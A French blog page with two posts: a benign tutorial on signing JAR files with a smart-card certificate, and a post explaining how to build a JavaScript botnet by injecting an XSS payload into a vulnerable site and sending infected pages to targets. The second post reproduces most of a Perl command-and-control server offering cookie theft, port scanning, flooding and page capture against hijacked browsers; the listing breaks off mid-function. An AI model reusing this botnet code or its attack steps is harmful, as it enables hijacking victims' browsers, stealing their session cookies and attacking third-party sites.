samedi 20 juin 2015

Comment signer un “JAR” avec une carte à puce

Pour permettre à vos développeurs de signer le code qu'ils générent, vous pouvez utiliser le certificat de signature de code stocké dans une carte à puce. Cette approche responsabilise le développeur qui signe en son nom propre et donc s'engage auprès du client, et elle évite l'apparition de code non-officiel dans vos livraisons.
Imaginons que vous souhaitez livrer des "jar" à vos clients. Pour permettre à votre client d'avoir confiance dans votre livraison, il est possible de signer le "jar"; la signature étant faite par le certificat de signature de votre développeur. Ce certificat a été émis par une autorité de certification en qui vos clients ont entière confiance.
Voici les étapes pour réaliser la signature de "jar".
Créer un fichier appelé "C:/EclipseLuna/test/pkcs11.cfg"
Ce fichier contient une référence à la librairie PKCS#11 qui correspond à la carte que vous utilisez
Capture
Note: attention à bien pointer sur la librairie PKCS#11 correspondant à votre carte. Il peut être prudent de vérifier l'accès à la carte via PKCS#11 en utilisant Firefox par exemple.
Modifier le contenu du fichier "C:\Program Files (x86)\Java\jre7\lib\security\java.security" de votre "jre" Java
Ajouter la ligne pointant sur votre fichier de configuration précédemment créé
security.provider.11=sun.security.pkcs11.SunPKCS11 C:/EclipseLuna/test/pkcs11.cfg
Capture1
Créer et importer le certificat de signature dans votre carte (voir article Créer votre propre certificat avec Openssl)
Obtenez le nom de l'alias de votre certificat de signature
> keytool -keystore NONE -storetype PKCS11 -list -v
Capture2
Dans notre cas l'alias est: "Users admin"
Ensuite allez dans le répertoire
> cd C:\Program Files (x86)\Java\jdk1.7.0_51\bin
Et lancer l'outil "jarsigner" en donnant le nom du fichier "jar" que vous souhaitez signer:
> ./jarsigner.exe -keystore NONE -storetype pkcs11 -providerClass sun.security.pkcs11.SunPKCS11 -providerArg "C:\EclipseLuna\test\pkcs11.cfg" c:\EclipseLuna\test\tools.jar "Users admin"Enter Passphrase for keystore: PIN code value
The jar file is signed.
Capture3
Vous pouvez avoir les messages d'avertissement suivants:
- The signer's certificate chain is not validated.
- No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate
this jar after the signer certificate's expiration date (2016-01-17) or after any future revocation date.

Pour le premier il est nécessaire d'explicitement faire confiance à la CA qui a générée le certificat de signature. Cela peut être fait en important le certificat de signature et les certificats de la chaîne de certification dans la carte à puce
Pour le deuxième point il est nécessaire d'ajouter dans la ligne de commande de "jarsigner" l'option "-tsa" suivi de l'URL de l'autorité d'horodatage
Pour vérifier que le fichier "jar" a bien été signé, vous pouvez ouvrir le "jar" et regarder les fichiers ajoutés:
Capture4

mercredi 24 décembre 2014

Créer un “botnet” avec Javascript, c’est mieux…

Après avoir créé un “keylogger” en Javascript nous allons grâce à “XSS Payloads” construire notre premier “botnet” en Javascript.

On identifie 5 étapes nous permettant de créer notre premier réseau “botnet”:

  • Installer notre serveur C&C
  • Trouver un site web avec une faille XSS
  • Injecter le “payload” XSS dans cette page web
  • Envoyer la page web infectée à nos cibles
  • Et attendre que les utilisateurs cliquent pour prendre la main sur leur browser

Phase I: le serveur C&C

On trouve le code Perl de notre serveur C&C sur le site de “XSS Payloads”:

   1: #!/usr/bin/perl
   2:  
   3: use IO::Socket;
   4:  
   5: # Autoflush
   6: $| = 1;
   7:  
   8: ######### Global Variables
   9: my $VERSION = "1.0";
  10:  
  11: my %ARGS = (
  12:                 "PORT"        => 80,                # Server listening port 
  13:                 "DEBUG"        => 0,                # Debug mode
  14:                 "VERBOSE"    => 0,                # Verbose mode
  15:                 "ADMIN"        => "/admin",        # Admin URI
  16:                 "INJECT"    => "/inject",        # Injection URI
  17:                 "SYNC"        => "/sync",            # Sync URI
  18:                 "FATHER"    => "",                #  Referer IP:port:sync (194.98.65.65:81:/sync)
  19:                 "LOGIN"        => "admin",            # Admin login
  20:                 "PASSWORD"    => "admin",            # Admin password
  21:                 "HEARTBEAT"    => 6500,            # Bot connection timer        
  22:                 "LOADTIMER"    => 12000,            # Page loading time
  23:                 "SESSION"    => "sessionID",        # Session management argument
  24:                 "LOCALIP"    => "",                 # Local IP
  25:                 "REMOTEIP"    => "",                # Reachable IP address (useful fort NAT)
  26:                 "BOTSESSION"=> "botSessionID",    # Bot session management argument
  27:  
  28:             );            
  29:             
  30: my $ERROR = 0;
  31: my $SERVER;
  32: my %ADMIN_SESSION;
  33: my %CLIENTS;
  34: my %SESSIONS;
  35: my %ADMIN_SESSION;
  36: my @OPERATIONS;
  37: my @AUTOACTION = ("Idle",'');
  38: my @PEERS;
  39: my %SERVERS;
  40: my $SYNC_DELAY = 300;
  41:  
  42:  
  43: my %HTTP_RESPONSE = (
  44:                     "200"    => "OK",
  45:                     "404"    => "FILE NOT FOUND",
  46:                 );
  47:                 
  48: my %ACTIONS = (
  49:                     "Idle"        => ["Waiting for commands",\&actionIdle],
  50:                     "Redirect"    => ["Redirect Client",\&actionRedirect],
  51:                     "Alert"        => ["Say Hello",\&actionAlert],
  52:                     "Custom"    => ["Write your script",\&actionCustom],
  53:                     "Portscan"    => ["Params: \<target\> \<port\> \[timeout\]",\&actionPortscan],
  54:                     "Flood"        => ["Kill target. This is bad.",\&actionFlood],
  55:                     "Cookies"    => ["Steal cookies",\&actionCookies],
  56:                     "GetPage"    => ["Download page HTML code",\&actionGetPage],
  57:                 );
  58:  
  59: ##################### Main Function Path ###########################
  60:  
  61: ######### STEP 1: Get command line args and set global variables;
  62: if(!&getCLIargs(\@ARGV)) { 
  63:     &displayUsage();
  64:     $ERROR = 1;
  65: }
  66:  
  67: my %FUNCTIONS = (
  68:                     $ARGS{"ADMIN"}         => \&adminPage,
  69:                     $ARGS{"INJECT"}        => \&injectPage,
  70:                     "*"            => \&defaultPage,
  71:                 );
  72:  
  73: ## Debug Mode
  74: if($ARGS{"DEBUG"} == 1) { print "\n>> Debug mode <<\n\n";  }
  75: if($ARGS{"DEBUG"} == 2) { print "\n>> HEAVY Debug mode <<\n\n"; use Data::Dumper; }
  76: ##
  77:  
  78: ## Print banner
  79: if($ARGS{"VERBOSE"}) {
  80:     print "\n";
  81:     print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
  82:     print "!!!!!    Welcome on XSS-BOT   !!!!!\n";
  83:     print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
  84:     print "\n";
  85: }
  86:  
  87: if($ARGS{"VERBOSE"}) {
  88:     print "Launch Options\n";
  89:     print "--------------\n";
  90:     while(my($arg,$value) = each(%ARGS)) {
  91:         if($arg ne "LOCALIP") {
  92:             print $arg." "x(25-length($arg))."= ".$value."\n";
  93:         }
  94:     }
  95:     print "\n";
  96: }
  97:  
  98: if($ARGS{"FATHER"}) {
  99:     my @peer = split(/:/,$ARGS{"FATHER"});
 100:     $PEERS{$peer[0]} = \@peer;
 101: }
 102:  
 103: ######### STEP 1: End.
 104:  
 105: ######### STEP 2: Sync setup
 106:  
 107: &feedInitialPeer(); 
 108:  
 109: ######### STEP 2: End.
 110:  
 111: ######### STEP 3: Launch Web Server
 112: if(!$ERROR) { 
 113:     if(!&launchWebServer()) {
 114:         $ERROR = 1;
 115:     }
 116: }
 117:  
 118: ######### STEP 3: End.    
 119:  
 120: ######### STEP 4: Main Loop
 121: if(!$ERROR) {
 122:     if(!&startListener()) {
 123:         $ERROR = 1;
 124:     }
 125: }
 126: ######### STEP 4: End.    
 127:  
 128:  
 129: ## Debug
 130: if($ERROR && $ARGS{"DEBUG"}) { "Exiting on error. Too bad.\n"; }
 131: ##
 132: if(!$ERROR && $ARGS{"VERBOSE"}) { "Exiting.\n"; }
 133:  
 134: ##############################################################
 135:  
 136: ##### STEP 1 Functions - Start ######
 137: sub getCLIargs() {
 138:  
 139:     my ($argv_ref) = @_;
 140:  
 141:     my $error = 0;
 142:     my $return_val = 1;
 143:     
 144:     if($#ARGV >= 0) { 
 145:         foreach my $arg(@$argv_ref) {
 146:             if(!($arg =~ /^-/)) { 
 147:                 $error = 1;
 148:             } else {
 149:                 $arg =~ s/^--?(.*)$/$1/;
 150:                 if($arg =~ /^p(?:ort)?=(\d+)$/) { # Listening port
 151:                     $ARGS{"PORT"} = $1;
 152:                 } elsif($arg =~ /^d(?:ebug)?$/) { # Debug mode
 153:                     $ARGS{"DEBUG"} += 1;
 154:                     $ARGS{"VERBOSE"} = 1;    # Setting verbose mode as well
 155:                 } elsif($arg =~ /^v(?:erbose)?$/) { # Verbose mode
 156:                     $ARGS{"VERBOSE"} = 1;
 157:                 } elsif($arg =~ /^a(?:dmin)?=(\S+)$/) { # Admin URI
 158:                     $ARGS{"ADMIN"} = $1;
 159:                 } elsif($arg =~ /^i(?:nject)?=(\S+)$/) { #  Injection URI
 160:                     $ARGS{"INJECT"} = $1;    
 161:                 } elsif($arg =~ /^(?:y|sync)=(.*)$/) { # Sync URI
 162:                     $ARGS{"SYNC"} = $1;
 163:                 } elsif($arg =~ /^f(?:ather)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+:.*)$/) { # Referer for initial sync
 164:                     $ARGS{"FATHER"} = $1;
 165:                 } elsif($arg =~ /^l(?:ogin)?=(.*)$/) { # Admin login
 166:                     $ARGS{"LOGIN"} = $1;
 167:                 } elsif($arg =~ /^(?:w|password)=(.*)$/) { # Admin password
 168:                     $ARGS{"PASSWORD"} = $1;
 169:                 } elsif($arg =~ /^h(?:eartbeat)?=(\d+)$/) { # Bot connection timer
 170:                     $ARGS{"HEARTBEAT"} = $1;
 171:                 } elsif($arg =~ /^s(?:ession)?=([a-zA-Z0-9]+)$/) { # Session management argument
 172:                     $ARGS{"SESSION"} = $1;
 173:                 } elsif($arg =~ /^b(?:otession)?=([a-zA-Z0-9]+)$/) { # Bot session management argument
 174:                     $ARGS{"BOTSESSION"} = $1;
 175:                 } elsif($arg =~ /^r(?:emoteip)?=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/) { # remotely accessible ip
 176:                     $ARGS{"REMOTEIP"} = $1;
 177:                 #} elsif($arg =~ /^(?:t|loadtimer)=(.*)$/) { # Page loading time
 178:                 #    $ARGS{"LOADTIMER"} = $1;
 179:                 } else {
 180:                     $error = 1;
 181:                 }
 182:             }
 183:         }
 184:     }
 185:     
 186:     if($error) {
 187:         $return_val = 0;
 188:     }
 189:     
 190:     return $return_val;
 191:     
 192: }
 193: ##### STEP 1 Functions - END ######
 194:  
 195: ##### STEP 2 Functions - START ####
 196:  
 197: sub feedInitialPeer {
 198:  
 199:     my ($father_ip,$father_port,$father_sync_uri) = split(/:/,$ARGS{"FATHER"});
 200:     
 201:     my $return_value = &feedPeer($father_ip,$father_port,$father_sync_uri);
 202:     
 203:     return $return_value;
 204:  
 205: }
 206:  
 207: sub feedPeer {
 208:  
 209:     my ($sync_ip,$sync_port,$sync_uri) = @_;
 210:     
 211:     my $return_value = 1;
 212:     
 213:     use IO::Socket;
 214:     my $sync_sock = IO::Socket::INET->new (
 215:                                 PeerAddr    => $sync_ip,
 216:                                 PeerPort     => $sync_port,
 217:                                 Proto         => 'tcp',
 218:                                     );
 219:                                     
 220:     if(!$sync_sock) {
 221:         if(defined($PEERS{$sync_ip})) { # A peer is now down
 222:             delete $PEERS{$sync_ip};
 223:         }
 224:         $error = 1;
 225:     } else {
 226:         print $syn_sock "GET ".$sync_uri." HTTP/1.0";
 227:         my $line;
 228:         while ($line = <$sock>) {
 229:             chomp($line);
 230:             if(my @peer = $line =~ /^([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+):([^:]+)/) { # @peer  =  (ip,port,sync_uri,admin_uri,inject_uri,sessionID,botSessuionID)
 231:             $PEERS{$peer[0]} = \@peer;
 232:             }
 233:         }
 234:         
 235:         close($sync_sock);
 236:         
 237:     }
 238:     
 239:     if($error) {
 240:         $return_value = 0;
 241:     }
 242:     
 243:     return $return_value;
 244:                 
 245:     
 246:     
 247: }
 248:  
 249: ##### STEP 2 Functions - END ######
 250:  
 251: ##### STEP 3 Functions - START ####
 252:  
 253: sub syncWithPeers {
 254:  
 255:     while(my($peer_ip,$peer_data) = each(%PEERS)) {
 256:         &feedPeer($peer_ip,$peer_data->[1],$peer_data->[2]);
 257:     }
 258:         
 259: }
 260:  
 261: sub launchWebServer {
 262:  
 263:     my $error = 0;
 264:     my $return_value = 1;
 265:     
 266:     $SERVER = IO::Socket::INET->new( 
 267:                                 Proto     => 'tcp',
 268:                                 LocalPort => $ARGS{"PORT"},
 269:                                 Listen    => SOMAXCONN,
 270:                                 Reuse     => 1
 271:                             );
 272:                             
 273:     if(!$SERVER) { 
 274:         $error = 1; 
 275:     } else {    
 276:         $mysockaddr = getsockname($SERVER);
 277:         my($port, $myaddr) = sockaddr_in($mysockaddr);
 278:         $ARGS{"LOCALIP"} = scalar gethostbyaddr($myaddr, AF_INET);    
 279:         if(!$ARGS{"REMOTEIP"}) {
 280:             $ARGS{"REMOTEIP"} = $ARGS{"LOCALIP"};
 281:         }
 282:     }
 283:     
 284:     ## Debug
 285:     if(!$error && $ARGS{"DEBUG"}) {    print("Server listening on ".$ARGS{"LOCALIP"}." on port ".$ARGS{"PORT"}."\n"); print("Admin URI is ".$ARGS{"ADMIN"}."\n"); }
 286:     ##
 287:     
 288:     if($error && $ARGS{"VERBOSE"}) {    print("Error launching server\n"); }
 289:     
 290:     if($error) {
 291:         $return_value = 0;
 292:     }
 293:     
 294:     return $return_value;
 295: }
 296:  
 297: ##### STEP 3 Functions - END ######
 298:  
 299: ##### STEP 4 Functions - START ####
 300:  
 301: sub startListener {
 302:  
 303:     my $error = 0;
 304:     my $return_value = 1;
 305:     
 306:     my $previous = time();
 307:     
 308:     while (my $client = $SERVER->accept()) {
 309:     
 310:         if(time()-$previous > $SYNC_DELAY) {
 311:             &syncWithPeers();
 312:             $previous = time();
 313:         }
 314:     
 315:         my %client;
 316:         $client->autoflush(1);
 317:         $client{"request"} = <$client>;
 318:         chomp($client{"request"});
 319:  
 320:         my $source = getpeername($client);
 321:         my ($iport, $iaddr) = unpack_sockaddr_in($source);
 322:         $client{"port"} = $iport;
 323:         $client{"ip"} = inet_ntoa($iaddr);
 324:                 
 325:         if($ARGS{"VERBOSE"}) { print($client{"ip"}." connected - Request: ".$client{"request"}."\n"); }
 326:         
 327:         my @request; 
 328:         &parseRequest(\@request,\%client);
 329:         if(defined($request[1]->[1]->{$ARGS{"SESSION"}})) { 
 330:             $client{"session"} = $request[1]->[1]->{$ARGS{"SESSION"}};
 331:         }
 332:         
 333:         ## Debug (heavy)
 334:         if($ARGS{"DEBUG"} == 2) { print "Request Array\n"; print Dumper(@request); }
 335:         ##
 336:         
 337:         &setClientSession(\%client);    
 338:  
 339:         ## Debug (heavy)
 340:         if($ARGS{"DEBUG"} == 2) { print "Clients Hash\n"; print Dumper(%CLIENTS); print "Sessions hash\n"; print Dumper(%SESSIONS); print "Operations Array\n"; print Dumper(@OPERATIONS); print "AutoAction Array\n"; print Dumper(@AUTOACTION);}
 341:         ##
 342:         
 343:         if(!defined($FUNCTIONS{$request[1]->[0]})) {
 344:             &{$FUNCTIONS{"*"}} ($client,\%client,\@request);
 345:         } else {
 346:             &{$FUNCTIONS{$request[1]->[0]}} ($client,\%client,\@request);
 347:         }
 348:         
 349:         close($client);
 350:         
 351:     }
 352:     
 353:     return $return_value;
 354:     
 355: }
 356:  
 357: sub parseRequest {
 358:  
 359:     my($line_ref,$client_ref) = @_;
 360:     
 361:     my $request = $client_ref->{"request"};
 362:     
 363:     my %arguments;
 364:     my @uri;
 365:     
 366:     my($method,$uri,$protocol) = split(/ /,$request);
 367:     my ($resource,$arguments) = split(/\?/,$uri);
 368:     my @arguments = split(/\&/,$arguments);
 369:     
 370:     foreach my $arg(@arguments) {
 371:         my($name,$value) = split(/=/,$arg);
 372:         $arguments{$name} = $value;
 373:     }
 374:     
 375:     @uri = ($resource,\%arguments);
 376:     $line_ref->[0] = $method;
 377:     $line_ref->[1] = \@uri;
 378:     $line_ref->[2] = $protocol;
 379:     
 380: }
 381:  
 382: sub setClientSession {
 383:  
 384:     my ($client_ref) = @_;
 385:     
 386:     my $ip = $client_ref->{"ip"};
 387:     my $request = $client_ref->{"request"};
 388:     my $time = time();
 389:     my $sessionID = $client_ref->{"session"};
 390:     if(!$sessionID) {
 391:         $sessionID = &getSessionID();
 392:         $client_ref->{"session"} = $sessionID;
 393:     }
 394:     
 395:     if($ARGS{"DEBUG"}) { print "Session ID : $sessionID\n"; }
 396:     
 397:     my @request = ($time,$request);
 398:     
 399:     if(!defined($CLIENTS{$ip})) {    # New client, building the full data structure
 400:         my @requests = (\@request);        
 401:         my @session = ($sessionID,\@requests);
 402:         
 403:         $CLIENTS{$ip} = \@session;
 404:         my @action = ("Idle",'');
 405:         $SESSIONS{$sessionID}= \@action;
 406:     } else {                                     # Existing client
 407:         if($CLIENTS{$ip}->[0] eq $sessionID) {    # Current session
 408:             if($#{$CLIENTS{$ip}->[1]} >= 10) { 
 409:                 pop(@{$CLIENTS{$ip}->[1]});
 410:             }
 411:             unshift(@{$CLIENTS{$ip}->[1]},\@request);            
 412:         } else {                                # New session
 413:             delete $SESSIONS{$CLIENTS{$ip}->[0]};
 414:             my @requests = (\@request);            
 415:             my @session = ($sessionID,\@requests);
 416:             
 417:             $CLIENTS{$ip} = \@session;
 418:             my @action = ("Idle",'');
 419:             $SESSIONS{$sessionID}= \@action;
 420:         }
 421:     }
 422: }
 423:             
 424: ##### STEP 4 Functions - END ######
 425:  
 426: ##### Web Server Functions - START ##
 427:  
 428: ##### Admin & Control Pages - START #####
 429: sub adminPage {
 430:  
 431:     my ($c_socket,$client_ref,$request_ref) = @_;
 432:     
 433:     if($request_ref->[1]->[1]->{"login"} eq $ARGS{"LOGIN"}                         # Successful login
 434:             && $request_ref->[1]->[1]->{"password"} eq $ARGS{"PASSWORD"} ) {     #
 435:         
 436:             # Set admin session parameters
 437:             $ADMIN_SESSION{"sessionID"}=$client_ref->{"session"};
 438:             $ADMIN_SESSION{"ip"}=$client_ref->{"ip"};
 439:             $ADMIN_SESSION{"time"}=$client_ref->{"time"};
 440:     }
 441:         
 442:     if($ADMIN_SESSION{"sessionID"} eq $client_ref->{"session"}
 443:                     && $ADMIN_SESSION{"ip"} eq $client_ref->{"ip"}
 444:                     && $ADMIN_SESSION{"time"} > ($client_ref->{"time"} - 300)) {
 445:             
 446:             &controlPage($c_socket,$client_ref,$request_ref);
 447:             
 448:     } else {
 449:     
 450:         my $response;
 451:         $response .= genHeader("200","text/html");
 452:         
 453:         $response .= "<HTML>"."\n";
 454:         $response .= "<HEAD></HEAD>"."\n";
 455:         
 456:         $response .= "<BODY>"."\n";
 457:         $response .= "<PRE>"."\n";
 458:         $response .= "<FORM NAME=\"login\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";        
 459:         $response .= "Login: <INPUT TYPE=\"text\" name=\"login\">"."\n";
 460:         $response .= "Pass : <INPUT TYPE =\"password\" name=\"password\">"."\n";
 461:         $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 462:         $response .= "<INPUT TYPE=\"submit\" value=\"login\">"."\n";
 463:         $response .= "</FORM>"."\n";
 464:         
 465:         $response .= "</PRE>"."\n";
 466:         $response .= "</BODY>"."\n";
 467:         $response .= "</HTML>\n";
 468:         print $c_socket $response;
 469:     
 470:     }
 471: }
 472:  
 473: sub controlPage {
 474:  
 475:     my ($c_socket,$client_ref,$request_ref) = @_;
 476:     
 477:     #### Apply selected action (if any)
 478:     if(defined($request_ref->[1]->[1]->{"action"})
 479:         && defined($request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}})) {
 480:         my $action = $request_ref->[1]->[1]->{"action"};
 481:         my $botSessionID = $request_ref->[1]->[1]->{$ARGS{"BOTSESSION"}};
 482:         my $params;
 483:         if(defined($request_ref->[1]->[1]->{"params"})) {
 484:             $params = $request_ref->[1]->[1]->{"params"};
 485:         }
 486:         
 487:         if(defined($ACTIONS{$action})) {
 488:             $SESSIONS{$botSessionID}->[0] = $action;
 489:             $SESSIONS{$botSessionID}->[1] = $params;
 490:         }
 491:     }
 492:     
 493:     #### Sets default action
 494:     if(defined($request_ref->[1]->[1]->{"autoAction"})) {
 495:         my $autoAction = $request_ref->[1]->[1]->{"autoAction"};        
 496:         my $autoParams;
 497:         if(defined($request_ref->[1]->[1]->{"autoParams"})) {
 498:             $autoParams = $request_ref->[1]->[1]->{"autoParams"};
 499:         }
 500:         
 501:         if(defined($ACTIONS{$autoAction})) {
 502:             $AUTOACTION[0] = $autoAction;
 503:             $AUTOACTION[1] = $autoParams;
 504:         }
 505:     }
 506:     
 507:     
 508:     #### Display currently connected bots status
 509:     my %bots;
 510:     my $current_params;
 511:     my $current_action;
 512:     
 513:     my $response;
 514:     $response .= genHeader("200","text/html");
 515:  
 516:     $response .= "<HTML>"."\n";
 517:     $response .= "<HEAD>"."\n";
 518:     $response .= "<SCRIPT TYPE=\"text/javascript\">"."\n";
 519:     $response .= "function changeAction(actionField) {"."\n";
 520:     $response .= " var aTypeId;"."\n";
 521:     $response .= " var aDescId;"."\n";
 522:     $response .= " if(actionField == 'action') {"."\n";
 523:     $response .= "  aTypeId = 'action';"."\n";
 524:     $response .= "  aDescId = 'actionDesc';"."\n";
 525:     $response .= " } else if(actionField == 'autoAction') {"."\n";
 526:     $response .= "  aTypeId = 'autoAction';"."\n";
 527:     $response .= "  aDescId = 'autoActionDesc';"."\n";
 528:     $response .= " };"."\n";
 529:     $response .= " var aValue = document.getElementById(aTypeId).value; "."\n";
 530:     
 531:     
 532:     while(my($action,$details_ref) = each(%ACTIONS)) {
 533:         my $description = $details_ref->[0];
 534:         $response .= " if(aValue == '".$action."') {"."\n";
 535:         $response .= "  document.getElementById(aDescId).innerHTML='".$description."';"."\n";
 536:         $response .= " }";        
 537:     }
 538:     $response .= "}"."\n";    
 539:     
 540:     $response .= "</SCRIPT>"."\n";
 541:     $response .= "</HEAD>"."\n";
 542:         
 543:     $response .= "<BODY>"."\n";
 544:     $response .= "<PRE>"."\n";
 545:     
 546:     
 547:     
 548:     
 549:     $response .= ">>> Tostaky Botnet Control Center <<<"."\n";
 550:  
 551:     $response .= "               <A HREF=\"".$ARGS{"ADMIN"}."?".$ARGS{"SESSION"}."=".$client_ref->{"session"}."\">refresh</A>"."\n";
 552:     $response .= "\n";
 553:     $response .= "\n";
 554:     $response .= "+++ Active Sessions List +++"."\n";
 555:     $response .= "\n";
 556:     
 557:     $response .= "+---- Bot IP -----+---- Action ----+---- Params ---->"."\n";
 558:     
 559:     while(my($ip,$session_ref) = each(%CLIENTS)) {
 560:         ## Debug (Heavy)
 561:         if($ARGS{"DEBUG"} == 2) { print "now = ".time()." - last = ".$session_ref->[1]->[0]->[0]." - Timeout = ".((int($ARGS{"HEARTBEAT"}/1000))+1)."\n"; }
 562:         ##
 563:         if($session_ref->[0] ne $ADMIN_SESSION{"sessionID"}
 564:             && $session_ref->[1]->[0]->[0] >= (time() - 2*(int($ARGS{"HEARTBEAT"}/1000)+2))) {
 565:             
 566:             $bots{$ip} = $CLIENTS{$ip}->[0];
 567:             
 568:             my $current_action = "Idle";
 569:             my $current_params = "";
 570:             
 571:             if($SESSIONS{$CLIENTS{$ip}->[0]}->[0]) { 
 572:                 $current_action = $SESSIONS{$CLIENTS{$ip}->[0]}->[0];
 573:             }        
 574:             $response .= "| ".$ip." "x(16-length($ip));
 575:             $response .= "| ".$current_action." "x(15-length($current_action));        
 576:             if($SESSIONS{$CLIENTS{$ip}->[0]}->[1]) { 
 577:                 $current_params = $SESSIONS{$CLIENTS{$ip}->[0]}->[1];
 578:             }
 579:             my $nice_params = &URLDecode($current_params);
 580:             $nice_params =~ s/\+/ /g;
 581:             $response .= "| ".$nice_params;
 582:             $response .= "\n";
 583:             
 584:         }
 585:     }
 586:     
 587:     $response .= "+-----------------+----------------+---------------->"."\n";
 588:     
 589:     $response .= "\n";
 590:     $response .= "\n";
 591:  
 592:     #### Actions
 593:     # Automated    
 594:     $response .= "+++++ Automated Action +++++"."\n";
 595:     $response .= "\n";
 596:     
 597:     $response .= "</PRE>"."\n";
 598:     $response .= "<FORM NAME=\"automation\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";            
 599:     $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 600:     
 601:     $response .= "<SELECT NAME=\"autoAction\" ID=\"autoAction\" onChange=\"changeAction('autoAction')\">"."\n"; 
 602:     my $actionDescription;
 603:     foreach my $action(keys %ACTIONS) {
 604:         if($action eq $AUTOACTION[0]) {
 605:             $actionDescription = $ACTIONS{$AUTOACTION[0]}->[0];
 606:             $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
 607:         } else { 
 608:             $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
 609:         }
 610:     }
 611:     $response .= "</SELECT>"."\n";
 612:     
 613:     $response .= "<INPUT TYPE=\"text\" NAME=\"autoParams\" VALUE=\"".&URLDecode($AUTOACTION[1])."\">"."\n";
 614:     
 615:     
 616:     
 617:     $response .= "<INPUT TYPE=\"submit\" value=\"Change that\">"."\n";
 618:     $response .= "</FORM>"."\n";
 619:     
 620:     $response .= "<PRE>"."\n";
 621:     $response .= "<DIV ID=\"autoActionDesc\">".$actionDescription."</DIV>"."\n";
 622:     
 623:     
 624:     
 625:     # One shot
 626:     $response .= "+++++++ Take Control +++++++"."\n";
 627:     $response .= "\n";
 628:     
 629:     $response .= "</PRE>"."\n";
 630:     $response .= "<FORM NAME=\"control\" ACTION=\"".$ARGS{"ADMIN"}."\" METHOD=\"get\">"."\n";            
 631:     $response .= "<INPUT TYPE=\"hidden\" name=\"".$ARGS{"SESSION"}."\" value=\"".$client_ref->{"session"}."\">"."\n";
 632:     
 633:     $response .= "<SELECT NAME=\"".$ARGS{"BOTSESSION"}."\">"."\n";
 634:     while(my($bot_ip,$bot_session) = each (%bots)) {
 635:         $response .= "<OPTION VALUE=\"".$bot_session."\">".$bot_ip."</OPTION>"."\n";
 636:     }
 637:     $response .= "</SELECT>"."\n";
 638:     
 639:     $response .= "<SELECT NAME=\"action\" ID=\"action\" onChange=\"changeAction('action')\">"."\n"; 
 640:     my $actionCount = 0;
 641:     my $actionDescription;
 642:     foreach my $action(keys %ACTIONS) {
 643:         if(!$actionCount) {
 644:             $actionDescription = $ACTIONS{$action}->[0];
 645:             $response .= "<OPTION VALUE=\"".$action."\" SELECTED=\"selected\">".$action."</OPTION> "."\n";
 646:         } else { 
 647:             $response .= "<OPTION VALUE=\"".$action."\">".$action."</OPTION> "."\n";
 648:         }
 649:         $actionCount++;
 650:     }
 651:     $response .= "</SELECT>"."\n";
 652:     
 653:     $response .= "<INPUT TYPE=\"text\" NAME=\"params\">"."\n";
 654:     
 655:     
 656:     
 657:     $response .= "<INPUT TYPE=\"submit\" value=\"Let\'s Go\">"."\n";
 658:     $response .= "</FORM>"."\n";
 659:     
 660:     $response .= "<PRE>"."\n";
 661:     $response .= "<DIV ID=\"actionDesc\">".$actionDescription."</DIV>"."\n";
 662:     
 663:     
 664:     
 665:     
 666:     #### Responses
 667:     $response .= "++++++ Bots Responses ++++++"."\n";
 668:     $response .= "\n";
 669:     
 670:     foreach my $operation_ref(@OPERATIONS) {
 671:         my @operation = @$operation_ref;
 672:         my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($operation[0]);
 673:         
 674:         $mon += 1;
 675:         $mon = "0"x(2-length($mon)).$mon;
 676:         $mday = "0"x(2-length($mday)).$mday;
 677:         $hour = "0"x(2-length($hour)).$hour;
 678:         $min = "0"x(2-length($min)).$min;
 679:         $sec = "0"x(2-length($sec)).$sec;
 680:         
 681:         $response .= $mon."-".$mday." ".$hour.":".$min.":".$sec;
 682:         $response .= " -> ";
 683:         $response .= $operation[1];
 684:         $response .= " : ";
 685:         
 686:         my $response_content = URLDecode($operation[2]);
 687:         $response_content =~ s/</\&lt;/g;
 688:         $response_content =~ s/>/\&gt;/g;
 689:         
 690:         $response .= $response_content;
 691:         $response .= "\n";
 692:     }
 693:     
 694:     $response .= "</PRE>"."\n";
 695:     
 696:     $response .= "</BODY>"."\n";
 697:     $response .= "</HTML>\n";
 698:     
 699:     print $c_socket $response;
 700:     
 701: }
 702:  
 703: ##### Admin & Control Pages - END #####
 704:  
 705: ##### Injection Pages - START #######
 706:  
 707: sub injectPage {
 708:  
 709:     my ($c_socket,$client_ref,$request_ref) = @_;
 710:     
 711:     my $botSessionID = $client_ref->{"session"};
 712:     
 713:     my $response;
 714:     $response .= &genHeader("200","text/plain");
 715:     
 716:     if(!$request_ref->[1]->[1]->{$ARGS{"SESSION"}}) {        # New bot session
 717:                 
 718:         # Injecting Session Initializatin Script
 719:         $response .= initSessionCode($botSessionID);
 720:         $response .= &{$ACTIONS{$AUTOACTION[0]}->[1]}($AUTOACTION[1]);
 721:         $SESSIONS{$botSessionID}->[0] = $AUTOACTION[0];
 722:         $SESSIONS{$botSessionID}->[1] = $AUTOACTION[1];
 723:         
 724:     } else {
 725:         
 726:         if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && $SESSIONS{$botSessionID}->[0] ne "Idle") {
 727:             $response .= &{$ACTIONS{$SESSIONS{$botSessionID}->[0]}->[1]}($SESSIONS{$botSessionID}->[1]);
 728:         }
 729:         
 730:         if(defined($request_ref->[1]->[1]->{"return"})) {
 731:             my @operation = (time(),$client_ref->{"ip"},$request_ref->[1]->[1]->{"return"});
 732:             unshift(@OPERATIONS,\@operation);
 733:         }
 734:         
 735:     }
 736:                     
 737:     print $c_socket $response;
 738:     
